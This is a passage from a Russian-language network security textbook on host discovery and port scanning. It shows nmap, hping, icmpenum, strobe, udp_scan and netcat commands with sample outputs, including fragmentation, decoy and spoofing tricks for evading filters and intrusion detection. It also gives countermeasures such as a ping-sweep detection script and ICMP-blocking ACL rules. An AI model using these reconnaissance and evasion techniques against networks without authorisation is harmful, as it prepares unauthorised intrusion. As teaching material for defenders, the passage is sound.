      В тех случаях, когда обмен данными по протоколу ICMP заблокирован, в первую очередь применяется метод сканирования портов (port scanning), который более подробно рассматривается ниже в этой главе. Просканировав стандартные порты каждого потенциального IP-адреса сети, можно определить, какие узлы подключены к сети. Если порт открыт (opened mode) или находится в режиме ожидания (listening mode), значит, по данному адресу находится подключенный к Internet узел сети. Недостатками этого метода являются большие временные затраты и некоторая неопределенность результата (если по какому-то адресу не удалось обнаружить ни одного порта, то это еще не означает, что соответствующий узел не подключен к Internet). Одной из утилит, которые можно использовать для сканирования портов, является nmap. Как уже упоминалось, с помощью этой утилиты можно проводить ICMP-прослушивание, однако этим перечень ее возможностей далеко не исчерпывается. В частности, эта утилита позволяет выполнять так называемое TCP-прослушивание сканированием (TCP ping scan). Данный режим включается с помощью параметра -рт и указания номера порта, например 80. Выбор порта с номером 80 обусловлен тем, что в подавляющем большинстве случаев именно он используется узлами сети для обмена данными через пограничные маршрутизаторы или брандмауэры с компьютерами, расположенными в так называемой демилитаризованной зоне (DMZ — demilitarized zone). При использовании указанного параметра утилита рассылает узлам исследуемой сети пакеты АСК, а затем ожидает поступления пакетов RST, что свидетельствует о том, что узел подключен к Internet.

      [tsunami] nmap -sP -PT80 192.168.1.0/24
      TCP probe port is 80
      Starting nmap V. 2.53
      Host (192.168.1.0) appears to be up.
      Host (192.168.1.1) appears to be up.
      Host shadow (192.168.1.10) appears to be up.
      Host (192.168.1.11) appears to be up.
      Host (192.168.1.15) appears to be up.
      Host (192.168.1.20) appears to be up.
      Host (192.168.1.50) appears to be up.
      Host (192.168.1.101) appears to be up.
      Host (192.168.1.102) appears to be up.
      Host (192.168.1.255) appears to be up.
      Nmap run completed (10 hosts up) scanned in 5 seconds

      Как видно из приведенного выше листинга, этот метод определения подключенных к Internet узлов очень эффективен, даже если на них блокируется передача пакетов ICMP. С помощью утилиты nmap имеет смысл провести несколько подобных проверок, тестируя такие стандартные порты как SMTP (25), POP (110), AUTH (110), IMАР (143) или другие порты, которые, по вашим сведениям, могут быть уникальными на каком-либо компьютере исследуемой сети.
      Еще одной утилитой, специально предназначенной для TCP-прослушивания, является утилита hping (http://www.kyuzz.org/antirez/). По возможностям она даже превосходит утилиту nmap. Утилита hping позволяет пользователям управлять параметрами протокола TCP, что может обеспечить проникновение отправляемых пакетов даже через некоторые устройства управления доступом. Так, установив порт назначения с помощью параметра -р, можно обойти некоторые устройства управления доступом точно так же, как это было сделано с применением утилиты traceroute в главе 1. Поэтому утилита hping может с успехом служить не только для TCP-прослушивания, но и преодолевать преграды некоторых устройств управления доступом благодаря возможности фрагментации пакетов.

      [tsunami] hping 192.168.1.2 -S -p 80 -f
      HPING 192.168.1.2 (ethO 192.168.1.2):
      S set, 40 data bytes
      60 bytes from 192.168.1.2:
      flags=SA seq=0 ttl=124 id=17501 win=0 time=46.5
      60 bytes from 192.168.1.2:
      flags=SA seq=l ttl=124 id=18013 win=0 time=169.1

      В некоторых случаях простые устройства управления доступом не могут корректно обрабатывать фрагментированные пакеты, что позволяет им проходить через такие устройства и достигать интересующего взломщика адреса. Обратите внимание, что в случае, когда порт открыт, возвращаются флаги TCP SYN (s) и дек (А). Утилиту hping очень легко использовать в сценариях оболочки с параметром счетчика пакетов -cN, где N — это количество пакетов, которые нужно отправить в Internet, прежде чем переходить к выполнению следующей команды сценария. Хотя данный метод и не обладает такой скоростью, как описанные выше методы ICMP-прослушивания, в некоторых случаях только он может помочь выяснить конфигурацию сети. Более подробно утилита hping рассматривается в главе 11, "Брандмауэры".
      Последним из средств прослушивания рассмотрим утилиту icmpenum хакером Симплом Номадом (Simple Nomad) (http://www.nmrc.org/files/sunix/icmpenum-1.1.tgz). Эту утилиту удобно использовать для определения архитектуры сети. Утилита icmpenum позволяет быстро выявить подключенные к сети компьютеры, передавая стандартные ICMP-пакеты ECHO, а также ICMP-запросы TIME STAMP REQUEST и INFO. Если входные пакеты ECHO не пропускаются пограничным маршрутизатором или брандмауэром, то подключенные узлы можно по-прежнему идентифицировать с помощью альтернативных пакетов ICMP.

      [shadow] icmpenum -i2 -с 192.168.1.0
      192.168.1.1 is up
      192.168.1.10 is up
      192.168.1.11 is up
      192.168.1.15 is up
      192,168.1.20 is up
      192.168.1.103 is up

      В приведенном примере сеть класса С (192.168.1.0) была протестирована с использованием ICMP-запроса TIME STAMP REQUEST. Однако реальная мощь утилиты icmpenum заключается в возможности идентификации узлов с помощью ложных пакетов, что позволяет избежать обнаружения злоумышленника. Это возможно благодаря тому, что утилита icmpenum позволяет генерировать ложные пакеты с использованием параметра -s и пассивно ожидать отклика при указании параметра -р.
      Подводя итог, можно отметить, что IСМР- или TCP-прослушивание позволяет точно установить, какие компьютеры сети подключены к Internet. Так, в рассматриваемом примере мы установили, что из 255 потенциальных адресов сети класса С к Internet подключены лишь несколько компьютеров. Выявленные узлы становятся предметом первоочередного внимания в дальнейших исследованиях. Таким образом, мы значительно сузили область поиска, что позволяет сэкономить время и силы для более эффективных действий.


      1.gif

      Изображение: 

      2. Контрмеры: защита от прослушивания сети



      Контрмеры: защита от прослушивания сети


      Поскольку прослушивание сети в лучшем случае может вызывать раздражение, то очень важно выявлять все попытки таких действий. В зависимости от принятой в организации политики обеспечения безопасности можно также заблокировать прохождение пакетов, передаваемых при ping-прослушивании. В этом разделе рассматриваются обе возможности.

      Выявление факта прослушивания



      Как уже говорилось, ICMP- и TCP-прослушивание является общепринятым методом исследования сети перед непосредственной попыткой проникновения в сеть. Поэтому выявление факта прослушивания очень важно с точки зрения возможности получения информации о потенциальном месте проникновения и источнике угрозы. Один из основных методов выявления прослушивания состоит в использовании сетевой программы выявления вторжений, такой как Network Flight Recorder (NFR), или программы, установленной на исследуемом взломщиком узле. Ниже приведен алгоритм, который можно реализовать в программе, предназначенной для выявления факта прослушивания.

      # Обнаружение прослушивания с помощью ICMP/Ping
      # Автор — Стюарт Мак-Клар (Stuart McClure)
      # Эта программа предназначена для выявления
      ping-сканера, изучающего вашу сеть
      # Для получения наилучших результатов
      # установите нужные значения maxtime и maxcount.
      ping_schema = library_schema::new(1,["time", "ip",
      "ip","ethmac", "ethmac" ],
      scope());
      count = 0;
      maxtime =10; # Время в секундах
      maxcount =5; # Количество ICMP-запросов ECHO или запросов ARP,
      # которое рассматривается как допустимое
      dest = 0;
      source = 0;
      ethsrc = 0;
      ethdst = 0;
      time = 0;
      filter icmp_paskets icmp( )
      {
      if (icmp.type == 0x08) # Проверка на ICMP-пакеты ECHO.
      {
      if ((source == ip.src) && (dest != ip.dst)) # Попался!
      {
      count = count + 1;
      time = system.time;
      }
      else
      count = 1;
      dest = ip.dest;
      source = ip.src;
      ethsrc = eth.src;
      ethdst = eth.dst;
      } .
      on tick = timeout ( sec: maxtime, repeat) call checkit;
      }
      func checkit;
      {
      if (count >= maxcount)
      {
      echo ("Обнаружен.ping-сканнер! Время: ", time, "\n");
      record system.time, source, dest, eth.src, eth.dst
      to the_record_ping; count = 0; dest = 0;
      } else
      {
      dest = 0; count = 0;
      }
      return;
      }
      the_record_ping=recorder("bin/histogram
      packages/sandbox/pingscan.cfg",
      "ping_schema" );

      Что касается защиты на уровне отдельного узла, для этого можно с успехом применять утилиты UNIX, которые позволяют выявлять и регистрировать попытки прослушивания. Если, просматривая файл журнала, созданный такой утилитой, вы обнаружите массированные ICMP-запросы ECHO, исходящие из одной и той же сети или от одного и того же узла, это, скорее всего, означает, что вашу сеть кто-то исследует. На такие факты необходимо обращать самое пристальное внимание, так как после изучения сети обычно предпринимается реальная попытка проникновения.
      К сожалению, найти аналогичные утилиты для платформы Windows достаточно сложно. Одним из немногих бесплатных или условно бесплатных пакетов, заслуживающих внимания, является Genius 3.1. Краткую информацию о новой версии этого программного продукта можно найти по адресу http://softseek.com/Internet/ General/Review_20507_index.html, а более подробные сведения о нем и загружаемый файл содержатся по адресу http: //www.indiesoft.com/. Эта программа не позволяет регистрировать попытки ping-прослушивания, а предназначена лишь для выявления TCP-сканирования определенного порта. Среди коммерческих пакетов аналогичного назначения можно отметить BlackICE от компании Network ICE (http://www.networkice.com). Этот программный продукт позволяет не только обнаруживать факты JCMP- и TCP-прослушивания, но и решать много других задач. В табл. 2.1 перечислены некоторые дополнительные утилиты, которые могут значительно облегчить выявление попыток прослушивания вашей сети.

      Таблица 2.1.Некоторые утилиты UNIX, предназначенные для зашиты от прослушивания на уровне узла

      Программа
      Ресурс
      Scanlogd
      http : //www.openwall.com/scanlogd
      Courtney 1 .3
      ftp://ciac.llnl.gov/pubс/сiac/sectools /unix
      Ippl1.4.10
      http: //pltplp.net/ippl/
      Protolog 1.0.8
      http: //packet storm. securify.com/UNIX/loggers/protolog-1.0.8. tar.gz

      Предотвращение прослушивания



      Если обнаружение факта прослушивания имеет столь большое значение, то что тогда говорить о предупреждении таких попыток! Мы рекомендуем очень внимательно оценить, насколько важен для вашей организации обмен данными по протоколу ICMP между узлами вашей сети и Internet. Имеется много разнообразных типов сообщений ICMP, ECHO и ECHO_REPLY — лишь два из них. В большинстве случаев нет никакой необходимости разрешать обмен данными между узлами сети и Internet с использованием всех имеющихся типов сообщений. Практически все современные брандмауэры обладают возможностью отфильтровывать пакеты ICMP, поэтому единственная причина, по которой они могут проходить во внутреннюю сеть,— та или иная производственная необходимость. Даже если вы твердо убеждены в том, что нельзя полностью заблокировать протокол ICMP, обязательно заблокируйте те типы сообщений, которые вам не нужны для работы. Как правило, вполне достаточно, чтобы с зоной DMZ можно было взаимодействовать посредством сообщений ECHO_REPLY, HOST UNREACHABLE И TIME EXCEEDED. Кроме того, с помощью списка управления доступом (ACL — Access Control List) можно разрешить обмен сообщениями по протоколу ICMP только с несколькими IP-адресами, например, принадлежащими вашему провайдеру Internet. Это позволит провайдеру, при необходимости, проверить качество связи, но при этом проникновение посторонних извне в компьютеры, подключенные к Internet, будет значительно затруднено. Необходимо всегда помнить, что несмотря на удобство и мощь протокола ICMP с точки зрения диагностирования сетевых проблем, он с успехом может использоваться и для создания таких проблем. Разрешив неограниченный доступ по протоколу ICMP во внутреннюю сеть, вы тем самым предоставляете взломщикам возможность реализовать нападение типа DoS (например с помощью Smurf-метода). Более того, если взломщику удастся проникнуть в один из ваших компьютеров, он может через "потайной ход" в операционной системе с помощью таких программ, как loki, организовать скрытое тунеллирование данных, передаваемых по протоколу ICMP. Более подробная информация о loki приведена в журнале Phrack Magazine, том 7, выпуск 51 за 1 сентября 1997 года, статья 06(http://phrack.infonexus.com/search.phtml?view&article=p51-6).
      Другая интересная концепция, предложенная Томом Пташеком (Tom Ptacek) и перенесенная в среду Linux Майком Шифманом (Mike Schiffman) заключается в использовании процесса pingd. Демон pingd, запущенный на компьютере пользователя, обрабатывает все поступающие на данный компьютер запросы ICMP_ECHO и ICMP_ECHOREPLAY. Для реализации такого подхода нужно отказаться от поддержки обработки запроса ICMP_ECHO на уровне ядра и реализовать ее на уровне пользователя с помощью служебного процесса, обеспечивающего работу сокета ICMP. Таким образом, появляется возможность создания механизма управления доступом на уровне отдельного компьютера. Утилита pingd имеется в версии BSD (http://www.enteract.com/~tqbf/goodies.html) и в системе Linux (http://www.2600.net/phrack/p52-07.html).

      Запросы IСМР



      Если говорить о возможностях протокола ICMP для сбора информации о сети, то прослушивание с помощью утилиты ping (или, другими словами, с помощью пакетов ECHO, пересылаемых по протоколу ICMP), — это только верхушка айсберга. Просто обмениваясь пакетами ICMP с интересующей вас системой, о ней можно получить любую информацию. Например, с помощью таких утилит UNIX, как icmpquery (http://packetstorm.securify.com/UNIX/scanners/icmpquery) или icmpush (http://packetstorm.security.com/UNIX/scanners/icmpush22.tgz), можно узнать системное время удаленного узла (т.е. часовой пояс, в котором он находится). Для этого нужно отправить по протоколу ICMP сообщение типа 13 (TIMESTAMP). Точно так же, обратившись к определенному устройству с ICMP-запросом типа 17 (ADDRESS MASK REQUEST), можно узнать маску подсети. Знание маски подсети сетевой карты позволяет определить все существующие подсети. Например, используя маску подсети, усилия можно сосредоточить на определенной подсети и избежать необходимости обращения к адресам рассылки широковещательных сообщений. Утилита icmpquery позволяет запрашивать как системное время, так и маску подсети.

      icmpquery <query> [-B] [-f fromhost] [-d delay] [-T time] targets
      Здесь параметр query принимает одно из следующих значений:
      -t : ICMP-запрос системного времени (по умолчанию);
      -m : ICMP-запрос маски подсети.
      delay — задержка между пакетами в миллисекундах,
      targets — список имен или адресов исследуемых узлов,
      time — время в секундах, в течение которого следует ожидать
      отклика. По умолчанию используется значение 5 с.
      -В — включение режима широковещательной рассылки. В этом режиме
      утилита ожидает в течение периода, определенного параметром
      time, а затем выводит отчет о поступивших ответах.
      Если вы используете модем, установите
      значения параметров -d и -Т большими,
      чем установленные по умолчанию.

      Например, чтобы с помощью icmpquery узнать системное время маршрутизатора, воспользуйтесь следующей командой.

      [tsunami] icmpquery -t 192.168.1.1
      192.168.1.1 : 11:36:19

      Запрос на получение маски подсети выглядит следующим образом.

      [tsunami] icmpquery -m 192.168.1.1
      192.168.1.1 : OxFFFFFFEO

      Далеко не все маршрутизаторы/узлы отвечают на ICMP-запросы TIMESTAMP или NETMASK. Поэтому с помощью утилит icmpquery и icmpush на различных узлах можно получить разные результаты.

      Контрмеры: защита от ЮМР-запросов



      Одним из самых лучших методов защиты является блокирование IOМР-запросов тех типов, которые способствуют разглашению информации о сети за ее пределами. Как минимум, на пограничном маршрутизаторе необходимо заблокировать прохождение во внутреннюю сеть пакетов TIMESTAMP (ICMP-сообщение тип 13) и ADDRESS MASK (тип 17). Например, если в качестве пограничного маршрутизатора используется маршрутизатор Cisco, запретите ему отвечать на указанные запросы, добавив следующие строки в список управления доступом.

      access-list 101
      deny icmp any any 13 ! timestamp request
      access-list 101 deny icmp
      any any 17 ! address mask request

      Для выявления рассмотренных выше видов деятельности можно также воспользоваться сетевыми системами выявления вторжений V(NIDS), например, программой Марти Рош (Marty Roach) (http://www.snort.org/). При выявлении такого типа вторжений будет выведена следующая информация.

      [**] PING-ICMP Timestamp [**]
      05/29-12:04:40.535502 192.168.1.10 -> 192.168.1.1
      ICMP TTL:255 TOS:0x0 ID:4321
      TIMESTAMP REQUEST

      Сканирование портов



      С помощью ICMP- или TCP-прослушивания мы установили, какие компьютеры исследуемой сети подключены к Internet. Кроме того, вся требуемая информация собрана также и с использованием запросов ICMP. Теперь можно перейти к этапу сканирования портов этих компьютеров. Сканирование портов (port scanning) — это процесс пробного подключения к портам TCP и UDP исследуемого компьютера с целью определения, какие службы на нем запущены и обслуживаются ли ими соответствующие порты. Обслуживаемые порты могут находиться в работающем состоянии или в состоянии ожидания запроса (listening mode). Определение портов, находящихся в состоянии ожидания запроса, — этап, имеющий определяющее значение для последующего выяснения типа используемой операционной системы, а также работающих на компьютере прикладных программ. Активные службы, находящиеся в состоянии ожидания, могут предоставить взломщику возможность получить несанкционированный доступ. Это обычно происходит в том случае, когда система безопасности компьютера не настроена должным образом или в программном обеспечении имеются хорошо известные изъяны в системе защиты. За последние несколько лет средства и методы сканирования портов были значительно усовершенствованы. Учитывая ограниченный объем книги, мы рассмотрим лишь самые популярные из них, с помощью которых можно получить значительную часть важной информации. Теперь мы уже не будем пытаться определить, подключен ли тот или иной компьютер к Internet, как это делалось ранее. Для упрощения задачи будем считать, что мы это уже установили однозначно и сосредоточимся лишь на методике выявления портов, находящихся в состоянии ожидания, или возможных точек проникновения в исследуемую систему.
      При сканировании портов решается несколько задач, связанных с изучением системы защиты соответствующего узла. Среди этих задач можно выделить следующие.

      •  Идентификация TCP- и UDP-служб, запущенных на исследуемом узле.
      •  Идентификация типа операционной системы, установленной на исследуемом узле. 
      •  Идентификация приложений или версий определенных служб.



      3. Типы сканирования



      Типы сканирования


      Прежде чем перейти к описанию конкретных средств, используемых для сканирования портов, необходимо уделить немного времени обзору методов сканирования, известных в настоящее время. Одним из пионеров реализации различных методов сканирования является ранее упоминавшийся Федор (Fyodor). Многочисленные приемы сканирования были реализованы им в утилите nmар. Многие из описанных в данной книге методов сканирования были предложены самим Федором.

      •  TCP-сканирование подключением (TCP connect scan). При таком типе сканирования осуществляется попытка подключения по протоколу TCP к интересующему нас порту с прохождением полной процедуры согласования параметров (handshake), состоящей в обмене сообщениями SYN, SYN/ACK и АСК. Попытки такого сканирования очень легко выявляются. На рис. 2.2 показана диаграмма обмена сообщениями в процессе согласования параметров.
      •  TCP-сканирование с помощью сообщений SYN (TCP SYN scan). Этот метод называется также сканированием с незавершенным открытием сеанса (half-open scanning), так как при его использовании полное TCP-соединение не устанавливается. Вместо этого на исследуемый порт отправляется сообщение SYN. Если в ответ поступает сообщение SYN/ACK, это означает, что данный порт находится в состоянии LISTENING. Если же ответ приходит в виде сообщения RST/ACK, то, как правило, это говорит о том, что исследуемый порт отключен. Получив ответ, компьютер, выполняющий сканирование, отправляет исследуемому узлу сообщение RST/ACK, поэтому полное соединение не устанавливается. Этот метод обеспечивает более высокую скрытность по сравнению с полным подключением. Многие системы не регистрируют такие попытки, поэтому они довольно часто могут оставаться незамеченными.



      Рис. 2.2. При установке TCP-соединения происходит обмен тремя сообщениями: (1) клиент отправляет серверу пакет SYN, (2) получает от сервера пакет SYN/ACK и (3) отправляет серверу пакет АСК

      •  TCP-сканирование с помощью сообщений FIN (TCP FIN scan). В этом случае исследуемой системе отправляется пакет FIN. Согласно документу RFC 793 (http://www.ieff.org/rfc/rfc0793.txt), в ответ узел должен отправить пакет RST для всех закрытых портов. Данный метод срабатывает только для стека протоколов TCP/IP, реализованного в системе UNIX.
      •  TCP-сканирование по методу "рождественской елки" (TCP Xmax Tree scan). При использовании данного метода на исследуемый порт отправляются пакеты FIN, URG и PUSH. Согласно документу RFC 793, исследуемый узел в ответ должен отправить сообщения RST для всех закрытых портов.
      •  TCP нуль-сканирование (TCP Null scan). Этот метод состоит в отправке пакетов с отключенными флагами. Согласно RFC 793, исследуемый узел должен ответить отправкой сообщения RST для всех закрытых портов.
      •  TCP-сканирование с помощью сообщений АСК (TCP ACK scan). Этот метод позволяет получить набор правил, используемых брандмауэром. Такое сканирование поможет определить, выполняет ли брандмауэр простую фильтрацию пакетов лишь определенных соединений (пакетов с установленным флагом АСК) или обеспечивает расширенную фильтрацию поступающих пакетов.
      •  TCP-сканирование размера окна (TCP Windows scan). Такой метод позволяет выявить открытые, а также фильтруемые/нефильтруемые порты некоторых систем (например, AIX и FreeBSD), в зависимости от полученного размера окна протокола TCP.
      •  TCP-сканирование портов RFC (TCP RFC scan). Этот метод применим только для систем UNIX и используется для выявления портов RFC (Remote Procedure Call — удаленный вызов процедур), связанных с ними программ и их версий.

      А UDP-сканирование (UDP scan). Данный метод заключается в отправке на исследуемый узел пакетов по протоколу UDP. Если в ответ поступает сообщение о том, что порт ICMP недоступен (ICMP port unreachabie), это означает, что соответствующий порт закрыт. С другой стороны, если такого сообщения нет, можно предположить, что данный порт открыт. В связи с тем, что протокол UDP не гарантирует доставки, точность данного метода очень сильно зависит от множества факторов, влияющих на использование системных и сетевых ресурсов. Кроме того, UDP-сканирование — очень медленный процесс, что особенно сказывается при попытках сканирования устройств, в которых реализован мощный алгоритм фильтрации пакетов. Поэтому, планируя использовать UDP-сканирование, приготовьтесь к тому, что результаты могут оказаться ненадежными.
      Некоторые реализации IP-протокола обладают одним неприятным свойством: пакеты RST отправляются обратно для всех сканируемых портов независимо от того, находятся ли соответствующие порты в режиме ожидания запросов. Учитывайте этот факт при использовании описанных методов. Однако в то же время сканирование подключением и сканирование с использованием сообщений SYN могут применяться для всех узлов.


      2.gif

      Изображение: 

      4. Идентификация запущенных TCP- и UDP-служб



      Идентификация запущенных TCP- и UDP-служб


      Использование хорошей утилиты сканирования портов — важнейший этап сбора информации об исследуемой сети. Хотя для этих целей существует много различных программ, ориентированных как на платформу UNIX, так и на платформу Windows NT, мы ограничимся рассмотрением лишь самых популярных и проверенных временем сканеров.

      strobe



      Утилита strobe — это общепризнанный и популярный TCP-сканер портов, написанный Джулианом Ассанжем (Julian Assange) (ftp://ftp.FreeBSD.org/pub/ FreeBSD/ports/distfiles/strobe-l.06.tgz). Она стала известной уже довольно давно и, вне всякого сомнения, считается одной из самых быстрых и надежных утилит этого класса. К основным возможностям утилиты strobe относится оптимизация системных и сетевых ресурсов, а также сканирование исследуемой системы с максимальной эффективностью. Помимо высокой эффективности, утилита strobe версии 1.04 и выше может собирать идентификационные маркеры (если, конечно, они имеются), связанные с каждым проверяемым портом. Эта информация может оказаться полезной при определении операционной системы, а также запущенных на компьютере службах. Подробнее процесс сбора маркеров (banner grabbing) будет рассматриваться в главе 3.
      В данных, выводимых утилитой strobe, имеется информация о каждом прослушанном порте TCP.

      [tsunami] strobe 192.168.1.10
      strobe 1.03 © 1995 Julian Assange (proff@suburbia.net).
      192.168.1.10 echo 7/tcp Echo [95,JBP]
      192.168.1.10 discard 9/tcp Discard [94,JBP]
      192.168.1.10 sunrpc 111/tcp rpcbind SUN RFC
      192.168.1.10 daytime 13/tcp Daytime [93,JBP]
      192.168.1.10 chargen 19/tcp ttytst source
      192.168.1.10 ftp 21/tcp File Transfer [Control] [96,JBP]
      192.168.1.10 exec 512/tcp remote process execution;
      192.168.1.10 login . 513/tcp remote login a la telnet;
      192.168.1.10 cmd 514/tcp shell like exec, but automatic
      192.168.1.10 ssh 22/tcp Secure Shell
      192.168.1.10 telnet 23,/tcp Telnet [112,JBP]
      192.168.1.10 smtp 25/tcp Simple Mail Transfer [102,JBP]
      192.168.1.10 nfs 2049/tcp networked file system
      192.168.1.10 lockd 4045/tcp
      192.168.1.10 unknown 32772/tcp unassigned
      192.168.1.10 unknown 32773/tcp unassigned
      192.168.1.10 unknown 32778/tcp unassigned
      192.168.1.10 unknown 32799/tcp unassigned
      192.168.1.10 unknown 32804/tcp unassigned

      Хотя в большинстве случаев утилита strobe предоставляет точные данные, все же важно помнить о некоторых ее ограничениях. Во-первых, данная утилита выполняет TCP-сканирование, не поддерживая сканирование по протоколу UDP. Поэтому в некоторых случаях можно получить лишь половину требуемой информации. Во-вторых, при соединении с каждым портом утилита strobe выполняет лишь TCP-сканирование подключением. Хотя именно этим и объясняется высокая надежность получаемых результатов, в то же время использование утилиты strobe очень легко выявить на исследуемой системе. Поэтому необходимо рассмотреть и другие утилиты сканирования, лишенные указанных недостатков.

      udp_scan



      Для UDP-сканирования, которого не выполняет strobe, можно воспользоваться утилитой udp_scan, которая изначально входила в пакет SATAN (Security Administrator Tool for Analyzing Networks), написанный Дэном Фармером (Dan Farmer) и Вайетсом Венема (Wietse Venema) в 1995 году. Хотя сам пакет SATAN несколько устарел, входящие в его состав утилиты по-прежнему можно использовать. Кроме того, по адресу http://wwdsilx.wwdsi.com можно получить новую версию пакета SATAN, которая теперь называется SAINT. Несмотря на наличие множества других утилит UDP-сканирования, мы пришли к выводу, что udp_scan — одна из самых надежных утилит, позволяющая получать достоверные результаты. Правда, необходимо сказать также о том, что, несмотря на высокую надежность утилиты udp_scan, у нее имеется и один существенный недостаток. Эта утилита не может противостоять контратаке какого-либо из пакетов IDS, который осведомлен о методах, используемых в пакете SATAN для сканирования портов. Таким образом, если сканирование необходимо выполнить более скрытно, поишите какое-нибудь другое средство. Обычно с помощью утилиты udp_scan проверяются порты с номерами, меньшими 1024, а также некоторые определенные порты с большими номерами.

      ;tsunami] udp_scan 192.168.1.1 1-1024
      -: 2 : UNKNOWN: 5 3:UNKNOWN: 123:UNKNOWN: 135:UNKNOWN:

      netcat



      Еще одной прекрасной утилитой является netcat (или nc), написанная Хоббитом (Hobbit, hobbit@avian.org). Эта утилита может выполнять так много различных задач, что была названа нами "швейцарским армейским ножом". Помимо остальных возможностей, о которых мы еще не раз будем говорить на протяжении всей книги, утилита nc позволяет применять основные методы TCP- и UDP-сканирования. Степенью детализации выводимых данных можно управлять с помощью параметров -v и -vv, которые включают, соответственно, режимы подробного и очень подробного отображения результатов. Параметр -z применяется для включения режима нулевого ввода-вывода (zero mode I/O), используемого для сканировании портов, а параметр -..2 позволяет задать для каждого соединения интервал ожидания. По умолчанию утилита пс выполняет TCP-сканирование, а для UDP-сканирования необходимо использовать параметр -и (как показано во втором примере).

      tsunami] nc -v -z -w2 192.168.1.1 1-140
      192.168.1.1] 139 (?) open
      192.168.1.1] 135 (?) open
      192.168.1.1] 110 (pop-3) open
      [192.168.1.1] 106 (?) open
      [192.168.1.1] 81 (?) open
      [192.168.1.1] 80 (http) open
      [192.168.1.1] 79 (finger) open
      [192.168.1.1] 53 (domain) open
      [192.168.1.1] 42 (?) open
      [192.168.1.1] 25 (smtp) open
      [192.168.1.1] 21 (ftp) open
      [tsunami] nc -u -v -z -w2 192.168.1.1 1-140
      [192.168.1.1] 135 (ntportmap) open
      [192.168.1.1] 123 (ntp) open
      [192.168.1.1] 53 (domain) open
      [192.168.1.1] 42 (name) open

      nmap



      Рассмотрев простейшие средства сканирования портов, давайте перейдем к обсуждению возможностей безусловного лидера этой категории — утилиты nmap. Данная утилита, разработанная Федором (Fyodor) (http://www.insecure.org/nmap), обладает не только базовыми возможностями TCP- и UDP-сканирования, но и поддерживает все остальные упоминавшиеся выше методы. Очень редко можно найти утилиту, которая предоставляла бы столь богатый набор возможностей в одном пакете. Итак, запустим утилиту и посмотрим, какие возможности она предоставляет.

      [tsunami]# nmap -h
      nmap V. 2.53 Использование:
      nmap [Тип(ы) сканирования] [Параметры]
      <Список узлов или подсетей>
      Некоторые стандартные типы сканирования
      (При использовании параметров, отмеченных символом '*',
      требуются привилегии root)
      -sT TCP-сканирование подключением
      (устанавливается по умолчанию) * -sS TCP-сканирование
      с помощью сообщений SYN
      (среди всех методов TCP-сканирования является наилучшим)
      * -sU UDP-сканирование
      -sP ping-прослушивание
      (выполняется поиск всех достижимых узлов)
      * -sF,-sX,-sN сканирование с помощью сообщений FIN,
      по методу "рождественской елки" и
      нуль-сканирование,
      соответственно (рекомендуется
      использовать только опытным пользователям)
      -SR/-I сканирование с использованием демона
      RPC/identd (применяется совместно с другими типами
      сканирования)
      Некоторые стандартные параметры
      (являются необязательными, могут комбинироваться друг с другом):
      * -О режим изучения пакетов TCP/IP
      с целью определения типа удаленной операционной системы
      -р <диапазон> — диапазон портов,
      которые будут сканироваться.
      Пример диапазона: '1-1024,1080,6666,31337'
      -F Выполняется сканирование портов,
      перечисленных в файле /etc/services
      -v Режим вывода подробной информации.
      Рекомендуется всегда использовать этот параметр.
      Для включения режима вывода очень
      подробной информации используйте параметр -vv
      -РО Отключение проверки активности узла
      с помощью утилиты ping (применяется
      для сканирования таких узлов,
      как www.microsoft.com и аналогичных)
      * -Ddecoy_hostl,decoy2[,...]
      Скрытое сканирование с указанием нескольких ложных адресов узлов
      -Т <Paranoici I Sneaky|Polite|Normal[Aggressive IInsane>
      Принятая политика ожидания
      отклика от удаленного узла
      -n/-R Никогда не выполнять разрешение имен DNS/
      Всегда выполнять [по умолчанию: имена разрешаются
      при необходимости] -oN/-oM <logfile>
      Вывести результаты сканирования в файл <logfile> в
      удобочитаемом/машинном формате -iL <inputfile>
      Взять IP-адреса или имена узлов из файла <inputfiie>.
      Для использования стандартного потока ввода stdin укажите '-'
      * -S <your_IP>/-e <devicename>
      позволяет указать исходный IP-адрес или устройство
      --переход в интерактивный режим
      (затем для получения справки нужно нажать клавишу h)
      [tsunami] nmap -sS 192.168.1.1
      Starting nmap V. 2.53 by fyodor@insecure.org
      Interesting ports on (192.168.1.11):
      (The 1504 ports scanned but
      not shown below are in state: closed)
      Port State Protocol Service
      21 open tcp ftp
      25 open tcp smtp
      42 open tcp nameserver
      53 open tcp domain
      79 open tcp finger
      80 open tcp http
      81 open tcp hosts2-ns
      106 open tcp popSpw
      110 open tcp pop-3
      135 open tcp loc-srv
      139 open tcp netbios-ssn
      443 open tcp https

      Помимо вышеуказанных, утилита nmap предоставляет и другие полезные возможности, заслуживающие детального обсуждения. Так, в приведенном выше примере мы ис-ПОЛЬЗОЕИЛИ параметры командной строки, при которых осуществлялось сканирование одного узла. Однако утилита nmap с такой же легкостью позволяет сканировать и всю сеть. Как легко заметить, nmap поддерживает описания диапазонов адресов в нотации CIDR (Classless Inter-Domain Routing — бесклассовая маршрутизация доменов Internet), описанной в RFC 1519 (http://www.ietf.org/rfc/rfcl519.txt). В этом формате очень легко задавать диапазоны адресов вида 192.168.1.1-192.168.1.254. Полученную информацию можно сохранить в обычном текстовом файле с помощью параметра -о. При указании параметра -oN результаты будут сохранены в удобочитаемом формате.
      [tsunar.i]# ranap -sF 192.168.1.0/24 -oN outfile
      Если выводимые данные нужно сохранить в файле, в котором в качестве разделителей используются символы табуляции (например, чтобы впоследствии программно анализировать полученную информацию), используйте параметр -оМ. В любом случае при сканировании сети, скорее всего, будет получено очень много информации, поэтому имеет смысл сохранить результаты в любом из форматов. В некоторых случаях целесообразно сохранять их сразу в обоих форматах, используя как параметр -ON, так и -оM.
      Предположим, что после сбора предварительных данных о сети организации мы пришли к выводу, что в качестве основного брандмауэра в ней используется простое устройство, выполняющее фильтрацию пакетов. В этом случае можно воспользоваться параметром -f утилиты nmap, чтобы включить режим фрагментации пакетов. Очевидно, что это приведет к отделению заголовков TCP-пакетов от самих пакетов, что затруднит для устройств управления доступом или систем IDS возможность выявления попытки сканирования. В большинстве случаев современные устройства фильтрации пакетов и брандмауэры прикладного уровня, прежде чем осуществлять анализ пакетов IP, помещают все фрагменты в очередь. Однако при использовании более старых моделей устройств управления доступом или устройств, в которых соответствующие функции были отключены для повышения производительности, дефрагментация не выполняется и пакеты передаются дальше во внутреннюю сеть в том виде, в котором они поступают.
